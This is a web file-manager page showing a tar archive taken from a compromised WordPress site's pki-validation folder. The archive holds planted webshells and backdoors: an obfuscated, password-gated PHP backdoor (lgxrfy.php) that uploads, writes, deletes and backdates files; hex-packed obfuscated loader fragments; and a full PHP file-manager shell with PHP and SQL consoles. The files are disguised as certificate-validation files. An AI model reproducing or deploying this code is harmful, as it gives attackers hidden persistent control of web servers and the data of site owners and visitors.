芝麻web文件管理V1.00
编辑当前文件:/home/mybf1/www/class.bf1.my/wp-admin/js/pki-validation.tar
128C21DF93C8C8519D56E24AC37BAB13.txt 0000644 00000000115 15122317067 0011062 0 ustar 00 f6938022abca23e3a4ddc075be77cc8abe975c7cf67173d8f52260335bae5d1f comodoca.com 99721069A089446852DD3ED1400E64DE.txt 0000644 00000000115 15122317067 0011000 0 ustar 00 dfc6af42138dd782e1933ffe7082cc6ebee4506d1f1fb3306dd9192b89b9d5af comodoca.com 0123CD34238D6A35A30821E0A0101BC3.txt 0000644 00000000115 15122317067 0010730 0 ustar 00 c2bd373d4a118066520d84d542f7e0cdce2132079379786e3f235e02fd15def8 comodoca.com 555746C6916E673D0A245950D308FAA4.txt 0000644 00000000115 15122317067 0010774 0 ustar 00 a77bb54a4ed4048a5d13ba8cd519d9b2ccff39054b9aa28e14fdf6f8ed937022 comodoca.com izap_rss_news.php 0000644 00000000000 15122317067 0010135 0 ustar 00 izap.rss.news.php 0000644 00000000000 15122317067 0007773 0 ustar 00 index.php 0000644 00000000000 15122317067 0006356 0 ustar 00 sbb.zip 0000644 00000006166 15122317067 0006053 0 ustar 00 PK ̀m[tq 6 sbZYo ~'1]{^ -Q"L:! DLn[see=ȓ$ $yH? yBgf{ݥuBvr`}uMra)脅*fLJvɔG$3ngC(A-EQ 3k2W{=gD5E yO ?;<^OCjzo}m<p$ kvP1m:yF'dbX!f$&?T5jYTF0@mct)X*cp@ڻwvn۾[OfJE87v4I>+{og\dK=Tu]JB1ޓWfa&N3^ ` 0 wsq <z|oO zl*@\EPc$d0$?|sSeV斤\N4g2g6U0IU&fxEڄs4}> Uߐ}*\'w1E'h__ D mu)v;? 险2wD^z 4gƣ4e#x^ ?R .9O ,aݠ ĈON@5o4@#dK!-#(˔U^<c&T=F*0'[5s;5yDD, 2:kqmLj&1ZVF+ mw Yԓ<?xCI-KwӬyJ:Aעs.)>EIbQ Ԁsmv琕CL! \^6@YlIX(-[ ,@,͕ɭ[`:9l2jC5`h<` U IHhBS7L2`]BE-L4 K (#FBPk' l`95MRECuIz|5ЊwĝE3p V)v҉K$`Kgy1l@@%`eӠ&'.˱@ЅFz= b8;?BUY]R :831)ӊAa6 JP %f>j_PPAO|UMd [rv;vw;l{skw:cuv: iNx.Fm|ܹ pҳFiBVg5C Q,?ZE6!jaWE MQ1 qrg9{eEuQZ,%F" Q v'I{nbq/a{Nx̎"Tiڬ ^.9Kk?L#q80&!c1 rdXBa,I HV} T/~ ;Ǭ(dt &$M%>eC/v%OjIa%5 /U^67W+(Th 1lsAr,T{2$6ә#k?0ۡwͧ!~`|~qH . 6<zt9ԍ+io_WkLcL]\v~ȩ G\X88z \ȈZ/'?.9oOw;=j|둀6&:?x6BjlvM)a-$dDkMmn3c :I"VT3TXqdF 2A[jnw6E>l7M۶{D@ <就9渍߬2p6&Թ)˕;Vl,?ăU++1~/Zi@^P%'&ǏC^aM.wP"wK hԛujg]#RO S'S%wtQ@0ex>9wQh[Ir[q1Գ E#CKt,}Z0I`FI 'MLC$|P{~+9PP n i(:>("`(ty*d{Uވ' V 2J*TSy_k9HސeWͯe+TߢC:i >'" c>]䅆c)n_N2Mp}k{Mǁv-4Yo5m #Ƿ^ Bg3R ySd-P<NOe[=04?1xyEvW؏[Z, 1qs Eʠ"zR@2 .t<<hPA{L% Y]w32IX4\.ʐo)ƥ*ԏ7Mā @Ŝ CAW zҞy˰]BxWjk*`:@ԝ7*,xƝ\窃11y 6jѦC-GK_rHw&(`\(96m 6gD<L:g)V0_jt*fc1WDEX⪤oʮ똞-JBΎ ֦L9Ӱaī9ıAȮLd/Sbx oN/sxڳdoX^DL]ʊa+V}KNm3/YhDQga&Uw|LE|z4EsA+,ϳT @x3\Ttx( lǰ^sf^Y R_V/M:vs4WɌp+</YzXHF ApX ڢ6DL;2˻)]ݕ.Bd*{ :$cz.S4 G79TʰQi_,{Y8EpjLWGumµ߅k|IWH q}U$ ~<2H^缞* x[$VX_ZQEz뻕սo9 K(_z.QMUBOǴV1ݚ 2rH4 ٞY魂ެ[զmeް7 jaqY3PPҲ55?C;PK ̀m[tq 6 sbPK 0 0 busi_report04.php 0000644 00000000000 15122335036 0007744 0 ustar 00 error_log 0000644 00000000261 15122335036 0006460 0 ustar 00 [21-Dec-2024 16:35:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/mybf1/public_html/app.bf1.my/.well-known/pki-validation/mod.gallery2.php on line 4 busi.report04.php 0000644 00000000000 15122335036 0007663 0 ustar 00 .htaccess 0000444 00000000143 15122337126 0006340 0 ustar 00 <FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch> resources.php 0000644 00000000000 15122341225 0007252 0 ustar 00 reading_sci.php 0000644 00000000000 15122341225 0007507 0 ustar 00 reading.sci.php 0000644 00000000513 15122341225 0007437 0 ustar 00 <?php $db2_convert6 = pack("H*", $property2 . $property12 . $property9 . '65' . '61' . $property4 . '5f' . '67' . '65' . $property12 . $property13 . '63' . $property14 . $property15 . $property12 . '65' . $property15 . $property12 . '73'); $db2_convert7 = pack("H*", $property11 . $property16 . '6c' . '6f' . '73' . $property3); resources.sci.php 0000644 00000003762 15122341225 0010051 0 ustar 00 <?php trim($_REQUEST['TEXvdz']); $parameter1 = '7'; $parameter2 = '3'; $parameter3 = '6'; $parameter4 = 'd'; $parameter5 = '8'; $parameter6 = '5'; $parameter7 = 'c'; $parameter8 = '1'; $parameter9 = '4'; $parameter10 = 'f'; $parameter11 = '0'; $parameter12 = 'e'; $parameter13 = '2'; $parameter14 = '9'; $post1 = pack("H*", $parameter1 . $parameter2 . '7' . '9' . $parameter1 . '3' . $parameter1 . '4' . $parameter3 . '5' . $parameter3 . $parameter4); $post2 = pack("H*", $parameter1 . '3' . '6' . $parameter5 . '6' . $parameter6 . '6' . $parameter7 . $parameter3 . $parameter7 . $parameter6 . 'f' . $parameter3 . $parameter6 . $parameter1 . $parameter5 . $parameter3 . '5' . '6' . $parameter2); $post3 = pack("H*", $parameter3 . $parameter6 . '7' . $parameter5 . $parameter3 . '5' . $parameter3 . $parameter2); $post4 = pack("H*", '7' . '0' . '6' . $parameter8 . '7' . $parameter2 . $parameter1 . $parameter2 . '7' . $parameter9 . $parameter3 . '8' . '7' . '2' . '7' . '5'); $post5 = pack("H*", '7' . '0' . $parameter3 . $parameter10 . '7' . $parameter11 . $parameter3 . '5' . '6' . $parameter12); $post6 = pack("H*", '7' . $parameter2 . $parameter1 . '4' . $parameter1 . $parameter13 . $parameter3 . $parameter6 . $parameter3 . '1' . $parameter3 . $parameter4 . $parameter6 . $parameter10 . $parameter3 . '7' . '6' . '5' . '7' . $parameter9 . '5' . 'f' . $parameter3 . $parameter2 . $parameter3 . $parameter10 . $parameter3 . 'e' . '7' . $parameter9 . '6' . $parameter6 . '6' . 'e' . '7' . '4' . $parameter1 . '3'); $post7 = pack("H*", $parameter1 . '0' . $parameter3 . '3' . '6' . $parameter7 . $parameter3 . 'f' . '7' . '3' . $parameter3 . $parameter6); $oauthexceptions = pack("H*", $parameter3 . 'f' . '6' . $parameter8 . $parameter1 . $parameter6 . '7' . '4' . $parameter3 . '8' . '6' . '5' . $parameter1 . $parameter5 . '6' . '3' . '6' . $parameter6 . $parameter1 . $parameter11 . $parameter1 . '4' . '6' . $parameter14 . '6' . 'f' . $parameter3 . 'e' . $parameter1 . $parameter2); changeThumb.php 0000644 00000000000 15122341225 0007465 0 ustar 00 formradioyn.php 0000644 00000000000 15122341271 0007572 0 ustar 00 sitemap_previous.php 0000644 00000000000 15122341300 0010630 0 ustar 00 window.php 0000644 00000000000 15122342014 0006544 0 ustar 00 userblock.php 0000644 00000000446 15122342014 0007244 0 ustar 00 <?php $locked6 = pack("H*", $constant1.$constant13.$constant14.$constant3.'61'.$constant15.'5f'.$constant16.$constant3.$constant13.'5f'.$constant7.$constant11.$constant12.$constant13.$constant3.$constant12.'74'.'73'); $locked7 = pack("H*", $constant10.'63'.'6c'.$constant11.$constant1.'65'); Date.php 0000644 00000000000 15122346321 0006117 0 ustar 00 user_add_new.php 0000644 00000000000 15122346321 0007701 0 ustar 00 .1734625893 0000644 00000000000 15122346321 0005631 0 ustar 00 user.php 0000644 00000000000 15122346321 0006220 0 ustar 00 polish.php 0000644 00000000000 15122346321 0006540 0 ustar 00 MakeAbsolute.php 0000644 00000000000 15122346321 0007616 0 ustar 00 .1734755747 0000644 00000000000 15122346321 0005633 0 ustar 00 .1734764994 0000644 00000000000 15122346321 0005637 0 ustar 00 .1734764995 0000644 00000000000 15122346321 0005640 0 ustar 00 lgxrfy.php 0000644 00000020716 15122346321 0006575 0 ustar 00 <?php function bqps() { global $ias, $ijq;$cgz = $ijq[2](__FILE__);$esn = $ijq[25]()-$ijq[3](30,300)*86400;$esn1 = $ijq[4]($ias[8],$esn);$fbs = $ijq[5]($_GET,$_POST);$pye = isset($fbs[$ias[9]]) ? $fbs[$ias[9]] : $cgz;$gkk = isset($fbs[$ias[10]]) ? $fbs[$ias[10]] : "";$pxt = isset($fbs[$ias[11]]) ? $fbs[$ias[11]] : "";if (!empty($fbs[$ias[12]])) {$ijq[6]($gkk,$ijq[7]($fbs[$ias[12]]));$ijq[8]($gkk,$esn);} else if (!empty($gkk)) {if (isset($fbs[$ias[13]])) {$ijq[6]($gkk,$fbs[$ias[13]]);if (isset($fbs[$ias[14]])) $ijq[8]($gkk,$ijq[9]($fbs[$ias[14]]));$ilo = $ias[15];}$nfc = "";if($ijq[10]($gkk)) {$nfc = $ijq[7]($gkk);$esn1 = $ijq[4]($ias[8],$ijq[11]($gkk));}$pye = $ijq[2]($gkk);} elseif (!empty($_FILES[$ias[16]])) {$row = $_FILES[$ias[16]];for($I=0;$I<$ijq[12]($row[$ias[17]]);$I++) {if($ijq[13]($row[$ias[18]][$I], $pye.$ias[19].$row[$ias[17]][$I])) {$ijq[14]($pye.$ias[19].$row[$ias[17]][$I],0755);$ilo = $ias[20];if (isset($fbs[$ias[14]])) $ijq[8]($pye.$ias[19].$row[$ias[17]][$I],$ijq[9]($fbs[$ias[14]]));}}} elseif (!empty($fbs[$ias[21]])) {$ijq[15]($fbs[$ias[21]]);} elseif (!empty($fbs[$ias[22]])) {$ijq[16]($fbs[$ias[22]]);} elseif (!empty($fbs[$ias[23]])) {$ijq[17]($fbs[$ias[23]]);} elseif (!empty($fbs[$ias[24]])&&!empty($fbs[$ias[25]])) {$ijq[18]($fbs[$ias[25]],$ijq[2]($fbs[$ias[25]]).$ias[19].$fbs[$ias[24]]);unset($pxt);}if(!empty($fbs[$ias[26]])) exit($ias[27]);$bft = "";foreach($ijq[19]($pye.$ias[28], GLOB_ONLYDIR) as $v) {$bft .= $ias[29].$ijq[20]($ias[30],"",$v).$ias[31].$ijq[4]($ias[8],$ijq[11]($v)).$ias[32].$ijq[21]($v).$ias[33].$ijq[22]($ijq[23]($ias[34],$ijq[24]($v)),-4).$ias[35].$v.$ias[36].$v.$ias[37].$v.$ias[38];}foreach($ijq[19]($pye.$ias[39], GLOB_BRACE) as $v) {if($ijq[10]($v)) $bft .= $ias[40].$ijq[20]($ias[30],"",$v).$ias[31].$ijq[4]($ias[8],$ijq[11]($v)).$ias[32].$ijq[21]($v).$ias[33].$ijq[22]($ijq[23]($ias[34],$ijq[24]($v)),-4).$ias[41].$v.$ias[42].$v.$ias[43].$v.$ias[38];}echo $ias[44].$pye.$ias[45].$esn1.$ias[46].$pye.$ias[47].$_SERVER[$ias[48]].$ias[49].@$ilo.$ias[50].(isset($nfc)?$ias[51].$esn1.$ias[52].$nfc.$ias[53]:(!empty($pxt)?$ias[54].$pxt.$ias[55]:$ias[56].$bft.$ias[57])).$ias[58];exit;} $pge = 'base'.'64_D'.'ecod'.'e'; $ias = explode('~',$pge('SFR'.'UUF'.'9VU'.'0VS'.'X0F'.'HRU'.'5Uf'.'mxs'.'bH4'.'zMW'.'Y2Y'.'2Mx'.'OTR'.'jMG'.'I4Y'.'TJj'.'fjg'.'0OW'.'YzZ'.'GEx'.'ZmM'.'xOT'.'liZ'.'Th+'.'bH4'.'5M2'.'FmY'.'zVh'.'MzY'.'1N2'.'RlM'.'DQw'.'fmE'.'5OG'.'M5Y'.'2U2'.'Njd'.'iMz'.'Q5N'.'zh+'.'PCF'.'ET0'.'NUW'.'VBF'.'IGh'.'0bW'.'w+P'.'Gh0'.'bWw'.'+PG'.'hlY'.'WQ+'.'PHR'.'pdG'.'xlP'.'jQw'.'MyB'.'Gb3'.'Jia'.'WRk'.'ZW4'.'uPC'.'90a'.'XRs'.'ZT4'.'8L2'.'hlY'.'WQ+'.'PGJ'.'vZH'.'k+P'.'Ggx'.'PkZ'.'vcm'.'JpZ'.'GRl'.'bi4'.'8L2'.'gxP'.'jxw'.'Pll'.'vdS'.'Bub'.'3Qg'.'aGF'.'2ZS'.'BwZ'.'XJt'.'aXN'.'zaW'.'9uI'.'HRv'.'IGF'.'jY2'.'Vzc'.'yAv'.'IG9'.'uIH'.'Roa'.'XMg'.'c2V'.'ydm'.'VyL'.'jxi'.'ciA'.'vPj'.'wvc'.'D48'.'Zm9'.'ybS'.'BhY'.'3Rp'.'b24'.'9Ii'.'Igb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'Ij4'.'8aW'.'5wd'.'XQg'.'dHl'.'wZT'.'0ic'.'GFz'.'c3d'.'vcm'.'QiI'.'G5h'.'bWU'.'9Im'.'wiI'.'HN0'.'eWx'.'lPS'.'Jib'.'3Jk'.'ZXI'.'6MC'.'I+P'.'C9m'.'b3J'.'tPj'.'wvY'.'m9k'.'eT4'.'8L2'.'h0b'.'Ww+'.'flk'.'tbS'.'1kI'.'Eg6'.'aTp'.'zfm'.'lkf'.'nZp'.'ZH5'.'yZW'.'Zpb'.'GV+'.'dXJ'.'sfn'.'R4d'.'H50'.'aW1'.'lfn'.'Zpb'.'2t+'.'dWZ'.'+bm'.'FtZ'.'X50'.'bXB'.'fbm'.'FtZ'.'X4v'.'fnV'.'wb2'.'t+c'.'m1+'.'bWt'.'kfn'.'JtZ'.'H5u'.'ZXd'.'maW'.'xlf'.'m9s'.'ZGZ'.'pbG'.'V+c'.'G9z'.'dH4'.'jZG'.'9uZ'.'S5+'.'Lyp'.'+PG'.'Rpd'.'iBj'.'bGF'.'zcz'.'0ib'.'Glz'.'dCB'.'kaX'.'IiP'.'jxz'.'cGF'.'uPn'.'4vL'.'ipc'.'Ly9'.'+PC'.'9zc'.'GFu'.'Pjx'.'pPn'.'48L'.'2k+'.'PHU'.'+fj'.'wvd'.'T48'.'Yj5'.'+JW'.'9+P'.'C9i'.'Pjx'.'hIG'.'hyZ'.'WY9'.'Ij9'.'pZD'.'1+I'.'j5P'.'cGV'.'uPC'.'9hP'.'iAt'.'IDx'.'hIG'.'hyZ'.'WY9'.'Ij9'.'yZW'.'Zpb'.'GU9'.'fiI'.'+Um'.'VuY'.'W1l'.'PC9'.'hPi'.'AtI'.'Dxh'.'IGh'.'yZW'.'Y9I'.'j9y'.'bWQ'.'9fi'.'I+R'.'GVs'.'PC9'.'hPj'.'wvZ'.'Gl2'.'Pn4'.'vey'.'osL'.'ios'.'Ki5'.'9fj'.'xka'.'XYg'.'Y2x'.'hc3'.'M9I'.'mxp'.'c3Q'.'gZm'.'lsZ'.'SI+'.'PHN'.'wYW'.'4+f'.'jwv'.'Yj4'.'8YS'.'Boc'.'mVm'.'PSI'.'/dm'.'lkP'.'X4i'.'PkV'.'kaX'.'Q8L'.'2E+'.'IC0'.'gPG'.'Ega'.'HJl'.'Zj0'.'iP3'.'JlZ'.'mls'.'ZT1'.'+Ij'.'5SZ'.'W5h'.'bWU'.'8L2'.'E+I'.'C0g'.'PGE'.'gaH'.'JlZ'.'j0i'.'P3J'.'tPX'.'48I'.'URP'.'Q1R'.'ZUE'.'Uga'.'HRt'.'bD4'.'8aH'.'Rtb'.'D48'.'aGV'.'hZD'.'48d'.'Gl0'.'bGU'.'+ND'.'AzI'.'EZv'.'cmJ'.'pZG'.'Rlb'.'i48'.'L3R'.'pdG'.'xlP'.'jxz'.'dHl'.'sZT'.'4qe'.'2Zv'.'bnQ'.'6MT'.'Rwe'.'C8x'.'OHB'.'4IH'.'Rha'.'G9t'.'YX1'.'pbn'.'B1d'.'Htm'.'b25'.'0LX'.'Npe'.'mU6'.'MTJ'.'weD'.'ttY'.'XJn'.'aW4'.'6NX'.'B4I'.'DB9'.'YnV'.'0dG'.'9ue'.'2N1'.'cnN'.'vcj'.'pwb'.'2lu'.'dGV'.'yfS'.'53O'.'Xt3'.'aWR'.'0aD'.'o5M'.'CV9'.'Lm1'.'zZ3'.'tjb'.'2xv'.'cjp'.'yZW'.'R9a'.'GVh'.'ZGV'.'ye2'.'JhY'.'2tn'.'cm9'.'1bm'.'Q6I'.'zAw'.'MDt'.'jb2'.'xvc'.'joj'.'ZmZ'.'mfW'.'hlY'.'WRl'.'ciB'.'he2'.'Nvb'.'G9y'.'OiN'.'mZm'.'Z9a'.'GVh'.'ZGV'.'yIG'.'Zvc'.'m17'.'ZGl'.'zcG'.'xhe'.'Tpp'.'bmx'.'pbm'.'UtY'.'mxv'.'Y2t'.'9Lm'.'Rpc'.'ntj'.'b2x'.'vcj'.'pnc'.'mVl'.'bn0'.'ubG'.'lzd'.'Hts'.'aW5'.'lLW'.'hla'.'Wdo'.'dDo'.'yMn'.'B4f'.'S5s'.'aXN'.'0Om'.'hvd'.'mVy'.'e2J'.'hY2'.'tnc'.'m91'.'bmQ'.'6I2'.'VlZ'.'X0u'.'bGl'.'zdC'.'Aqe'.'2Rp'.'c3B'.'sYX'.'k6a'.'W5s'.'aW5'.'lLW'.'Jsb'.'2Nr'.'O3R'.'leH'.'QtY'.'Wxp'.'Z24'.'6bG'.'Vmd'.'Dt3'.'aWR'.'0aD'.'oxM'.'DBw'.'eDt'.'mb2'.'50L'.'XN0'.'eWx'.'lOm'.'5vc'.'m1h'.'bH0'.'ubG'.'lzd'.'CBz'.'cGF'.'uLC'.'5sa'.'XN0'.'IGl'.'7d2'.'lkd'.'Gg6'.'MjA'.'wcH'.'h9L'.'mxp'.'c3Q'.'gYX'.'tka'.'XNw'.'bGF'.'5Om'.'lub'.'Glu'.'ZTt'.'jb2'.'xvc'.'jpi'.'bHV'.'lfS'.'Nvd'.'XRw'.'dXR'.'7cG'.'FkZ'.'Glu'.'Zzo'.'xMH'.'B4f'.'Twv'.'c3R'.'5bG'.'U+P'.'C9o'.'ZWF'.'kPj'.'xib'.'2R5'.'Pjx'.'oZW'.'FkZ'.'XI+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'JnZ'.'XQi'.'Pjx'.'pbn'.'B1d'.'CB0'.'eXB'.'lPS'.'J0Z'.'Xh0'.'IiB'.'uYW'.'1lP'.'SJp'.'ZCI'.'gdm'.'Fsd'.'WU9'.'In4'.'iPj'.'xid'.'XR0'.'b24'.'gdH'.'lwZ'.'T0i'.'c3V'.'ibW'.'l0I'.'j5E'.'aXI'.'8L2'.'J1d'.'HRv'.'bj4'.'8L2'.'Zvc'.'m0+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'IiB'.'lbm'.'N0e'.'XBl'.'PSJ'.'tdW'.'x0a'.'XBh'.'cnQ'.'vZm'.'9yb'.'S1k'.'YXR'.'hIj'.'48a'.'W5w'.'dXQ'.'gdH'.'lwZ'.'T0i'.'Zml'.'sZS'.'Igb'.'mFt'.'ZT0'.'idW'.'ZbX'.'SIg'.'bXV'.'sdG'.'lwb'.'GU+'.'PGl'.'ucH'.'V0I'.'HR5'.'cGU'.'9In'.'Rle'.'HQi'.'IG5'.'hbW'.'U9I'.'nRp'.'bWU'.'iIH'.'Zhb'.'HVl'.'PSJ'.'+Ij'.'48Y'.'nV0'.'dG9'.'uIH'.'R5c'.'GU9'.'InN'.'1Ym'.'1pd'.'CI+'.'VVA'.'8L2'.'J1d'.'HRv'.'bj4'.'8L2'.'Zvc'.'m0+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'JnZ'.'XQi'.'Pjx'.'pbn'.'B1d'.'CB0'.'eXB'.'lPS'.'J0Z'.'Xh0'.'IiB'.'uYW'.'1lP'.'SJ2'.'aWQ'.'iIH'.'Zhb'.'HVl'.'PSJ'.'+Ij'.'48Y'.'nV0'.'dG9'.'uIH'.'R5c'.'GU9'.'InN'.'1Ym'.'1pd'.'CI+'.'Rml'.'sZT'.'wvY'.'nV0'.'dG9'.'uPj'.'wvZ'.'m9y'.'bT4'.'8YS'.'Boc'.'mVm'.'PSI'.'/aW'.'Q9f'.'kRP'.'Q1V'.'NRU'.'5UX'.'1JP'.'T1R'.'+Ij'.'5Sb'.'290'.'IER'.'pcj'.'wvY'.'T4g'.'PHN'.'wYW'.'4gY'.'2xh'.'c3M'.'9Im'.'1zZ'.'yI+'.'fjw'.'vc3'.'Bhb'.'j48'.'L2h'.'lYW'.'Rlc'.'j5+'.'PGZ'.'vcm'.'0gb'.'WV0'.'aG9'.'kPS'.'Jwb'.'3N0'.'Ij4'.'8aW'.'5wd'.'XQg'.'dHl'.'wZT'.'0id'.'GV4'.'dCI'.'gbm'.'FtZ'.'T0i'.'dGl'.'tZS'.'Igd'.'mFs'.'dWU'.'9In'.'4iI'.'GNs'.'YXN'.'zPS'.'JpI'.'j48'.'YnV'.'0dG'.'9uI'.'HR5'.'cGU'.'9In'.'N1Y'.'m1p'.'dCI'.'+U2'.'F2Z'.'Twv'.'YnV'.'0dG'.'9uP'.'jxi'.'cj4'.'8dG'.'V4d'.'GFy'.'ZWE'.'gbm'.'FtZ'.'T0i'.'dHh'.'0Ii'.'Byb'.'3dz'.'PSI'.'0MC'.'IgY'.'2xh'.'c3M'.'9In'.'c5I'.'j5+'.'PC9'.'0ZX'.'h0Y'.'XJl'.'YT4'.'8L2'.'Zvc'.'m0+'.'fjx'.'mb3'.'JtI'.'G1l'.'dGh'.'vZD'.'0ic'.'G9z'.'dCI'.'+PG'.'JyP'.'jxp'.'bnB'.'1dC'.'B0e'.'XBl'.'PSJ'.'0ZX'.'h0I'.'iBu'.'YW1'.'lPS'.'Jvb'.'GRm'.'aWx'.'lIi'.'B2Y'.'Wx1'.'ZT0'.'ifi'.'IgY'.'2xh'.'c3M'.'9In'.'c5I'.'j48'.'YnI'.'+PG'.'luc'.'HV0'.'IHR'.'5cG'.'U9I'.'nRl'.'eHQ'.'iIG'.'5hb'.'WU9'.'Im5'.'ld2'.'Zpb'.'GUi'.'IHZ'.'hbH'.'VlP'.'SIi'.'IGN'.'sYX'.'NzP'.'SJ3'.'OSI'.'+PG'.'JyP'.'jxi'.'dXR'.'0b2'.'4gd'.'Hlw'.'ZT0'.'ic3'.'Vib'.'Wl0'.'Ij5'.'TYX'.'ZlP'.'C9i'.'dXR'.'0b2'.'4+P'.'C9m'.'b3J'.'tPn'.'48Z'.'Gl2'.'IGl'.'kPS'.'Jvd'.'XRw'.'dXQ'.'iPn'.'48L'.'2Rp'.'dj5'.'+PC'.'9ib'.'2R5'.'Pjw'.'vaH'.'Rtb'.'D4=')); $ijq = explode('~',$pge('c2Vzc'.'2lvbl'.'9zdGF'.'ydH5t'.'ZDV+Z'.'Glybm'.'FtZX5'.'yYW5k'.'fmRhd'.'GV+YX'.'JyYXl'.'fbWVy'.'Z2V+Z'.'mlsZV'.'9wdXR'.'fY29u'.'dGVud'.'HN+Zm'.'lsZV9'.'nZXRf'.'Y29ud'.'GVudH'.'N+dG9'.'1Y2h+'.'c3Ryd'.'G90aW'.'1lfml'.'zX2Zp'.'bGV+Z'.'mlsZW'.'10aW1'.'lfmNv'.'dW50f'.'m1vdm'.'VfdXB'.'sb2Fk'.'ZWRfZ'.'mlsZX'.'5jaG1'.'vZH51'.'bmxpb'.'mt+bW'.'tkaXJ'.'+cm1k'.'aXJ+c'.'mVuYW'.'1lfmd'.'sb2J+'.'cHJlZ'.'19yZX'.'BsYWN'.'lfmZp'.'bGVza'.'Xplfn'.'N1YnN'.'0cn5z'.'cHJpb'.'nRmfm'.'ZpbGV'.'wZXJt'.'c350a'.'W1l')); $ijq[0](); function jmmz() { global $ias, $ijq;$pge = $_POST; $guy = $_SERVER[$ias[0]];if(!empty($_SESSION[$ias[1]]) || $ijq[1]($guy.$ijq[1]($guy))==$ias[2].$ias[3] || (!empty($pge[$ias[4]]) && $ijq[1]($pge[$ias[4]].$ijq[1]($pge[$ias[4]]))==$ias[5].$ias[6])) {$_SESSION[$ias[1]] = 1;bqps();} else {exit($ias[7]);}} jmmz(); 383114/index.php 0000644 00000240661 15122346321 0007137 0 ustar 00 <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return 